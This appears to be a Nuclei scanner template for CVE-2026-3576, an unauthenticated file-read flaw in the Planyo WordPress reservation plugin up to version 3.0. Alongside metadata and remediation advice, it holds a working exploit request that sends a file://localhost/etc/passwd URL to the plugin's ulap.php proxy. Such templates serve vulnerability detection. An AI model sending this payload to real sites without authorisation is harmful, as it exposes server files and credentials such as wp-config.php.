Planyo Online Reservation System <= 3.0 - Arbitrary File Read

id: CVE-2026-3576

info:
  name: Planyo Online Reservation System <= 3.0 - Arbitrary File Read
  author: aryu-ru
  severity: high
  description: |
    The Planyo Online Reservation System plugin for WordPress through 3.0 ships ulap.php, an AJAX proxy that is directly reachable without WordPress bootstrapping or authentication. The send_http_post() function validates the host of the supplied URL against an allowlist that includes localhost, but never validates the URL scheme, so a file://localhost/ URL passes the host check and is handed to curl_init() or fopen(). Both support the file:// wrapper, so the contents of arbitrary local files are returned in the response.
  impact: |
    An unauthenticated attacker can read any file readable by the web server, including wp-config.php, which discloses database credentials and WordPress authentication keys.
  remediation: |
    Update the Planyo Online Reservation System plugin to version 3.1 or later, which rejects any URL scheme other than http and https.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/5038d12a-e119-4ab7-aadc-69b765ae7027?source=cve
    - https://www.exploit-db.com/exploits/52636
    - https://plugins.trac.wordpress.org/browser/planyo-online-reservation-system/trunk/ulap.php#L59
    - https://nvd.nist.gov/vuln/detail/CVE-2026-3576
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-3576
    epss-score: 0.01131
    epss-percentile: 0.63685
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 1
    vendor: xtreeme
    product: planyo-online-reservation-system
    framework: wordpress
    fofa-query: body="/plugins/planyo-online-reservation-system/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,planyo-online-reservation-system,lfi,ssrf

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/planyo-online-reservation-system/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Planyo online reservation system")'
          - 'status_code == 200'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost/etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "text/plain")'
          - 'regex("root:[x*]?:0:0:", body)'
          - 'status_code == 200'
        condition: and
# digest: 4b0a004830460221009ef04409027f8a52d949688fb638e0d9dee2f48251946402af48190722ee35520221009b27dfcd57530844a6189c3f6a3d60f708e9d54e06a8c89fe63d3f32d30a26e2:922c64590222798bb761d5b6d8e72950